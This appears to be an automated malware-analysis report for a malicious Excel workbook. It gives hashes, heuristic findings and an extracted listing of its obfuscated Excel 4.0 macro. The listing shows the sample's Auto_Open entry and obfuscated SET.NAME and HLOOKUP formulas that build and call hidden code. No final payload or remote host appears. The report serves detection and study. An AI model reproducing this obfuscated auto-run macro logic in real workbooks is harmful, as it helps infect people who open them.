Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c836ddffd2ead29a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:41 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 5c9172eb6b0159385c1724451b13ac3f SHA-1: e0a53234892122185b3bb855b4d1434cb7dea775 SHA-256: c836ddffd2ead29a03514e857c6addf2e4ba43d471018c8673b8ea2fa6851df4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6669 bytes
SHA-256: 1f2231c215a07179d920022d78dc38df4171460109279310142d3f9c99a226fb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ORHua
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G151 
' 0018     20 LABEL : Cell Value, String Constant - CijNR len=0 
' 0018     26 LABEL : Cell Value, String Constant - HVViEGTFHPT len=0 
' 0018     23 LABEL : Cell Value, String Constant - jZsfpVES len=0 
' 0018     22 LABEL : Cell Value, String Constant - KnxBfQG len=0 
' 0018     22 LABEL : Cell Value, String Constant - lrPYVUu len=0 
' 0018     23 LABEL : Cell Value, String Constant - ngXJCghu len=0 
' 0018     21 LABEL : Cell Value, String Constant - OiJGtw len=0 
' 0018     21 LABEL : Cell Value, String Constant - OrXurw len=0 
' 0018     20 LABEL : Cell Value, String Constant - pxXeE len=0 
' 0018     22 LABEL : Cell Value, String Constant - QYINjJP len=0 
' 0018     25 LABEL : Cell Value, String Constant - rlNjlwpZQy len=0 
' 0018     23 LABEL : Cell Value, String Constant - tfzqggbD len=0 
' 0018     24 LABEL : Cell Value, String Constant - vEfQqQbDG len=0 
' 0018     27 LABEL : Cell Value, String Constant - VHMxdboAGOsg len=0 
' 0018     21 LABEL : Cell Value, String Constant - WQSkmX len=0 
' 0018     22 LABEL : Cell Value, String Constant - wZyTxWB len=0 
' 0018     27 LABEL : Cell Value, String Constant - xDqaOMSaNpAo len=0 
' 0018     21 LABEL : Cell Value, String Constant - xYWrZX len=0 
' 0018     27 LABEL : Cell Value, String Constant - yYcKhpuwASed len=0 
' 0018     20 LABEL : Cell Value, String Constant - zbqCR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ORHua,T59,"",-791.00000000000000000000
'  ORHua,G60,"SET.NAME("vEfQqQbDG",0+VALUE("0"))",""
'  ORHua,T60,"",279.00000000000000000000
'  ORHua,T61,"",-13.00000000000000000000
'  ORHua,T62,"",-272.00000000000000000000
'  ORHua,T63,"",909.00000000000000000000
'  ORHua,G64,"SET.NAME("xDqaOMSaNpAo",vEfQqQbDG)",""
'  ORHua,T64,"",-243.00000000000000000000
'  ORHua,G69,"SET.NAME("ngXJCghu",vEfQqQbDG)",""
'  ORHua,G73,"SET.NAME("wZyTxWB",COUNTA(VHMxdboAGOsg))",""
'  ORHua,G78,"SET.NAME("WQSkmX",COUNTA(pxXeE))",""
'  ORHua,G83,[],""
'  ORHua,G86,"SET.NAME("QYINjJP","")",""
'  ORHua,G90,"xDqaOMSaNpAo",""
'  ORHua,G92,"SET.NAME("CijNR",HLOOKUP("*",VHMxdboAGOsg,xDqaOMSaNpAo,FALSE))",""
'  ORHua,G94,"HVViEGTFHPT",""
'  ORHua,G97,"SET.NAME("rlNjlwpZQy",vEfQqQbDG)",""
'  ORHua,G99,[],""
'  ORHua,G104,"rlNjlwpZQy",""
'  ORHua,G107,"OiJGtw",""
'  ORHua,G109,"zbqCR",""
'  ORHua,G113,"tfzqggbD",""
'  ORHua,G118,"SET.NAME("OrXurw",VALUE(HLOOKUP("*",pxXeE,tfzqggbD,FALSE)))",""
'  ORHua,G121,"KnxBfQG",""
'  ORHua,G124,"QYINjJP",""
'  ORHua,G128,"ngXJCghu",""
'  ORHua,G132,NEXT(),""
'  ORHua,G137,"xYWrZX",""
'  ORHua,G140,[],""
'  ORHua,G143,"yYcKhpuwASed",""
'  ORHua,G145,NEXT(),""
'  ORHua,G149,RETURN(),""
'  ORHua,G174,"SET.NAME("lrPYVUu",G60)",""
'  ORHua,G178,"VHMxdboAGOsg",""
'  ORHua,G180,"SET.NAME("pxXeE",R70C11)",""
'  ORHua,G185,"SET.NAME("yYcKhpuwASed",194)",""
'  ORHua,G189,"SET.NAME("jZsfpVES",7)",""
'  ORHua,G193,lrPYVUu(),""
'  ORHua,G194,HALT(),""

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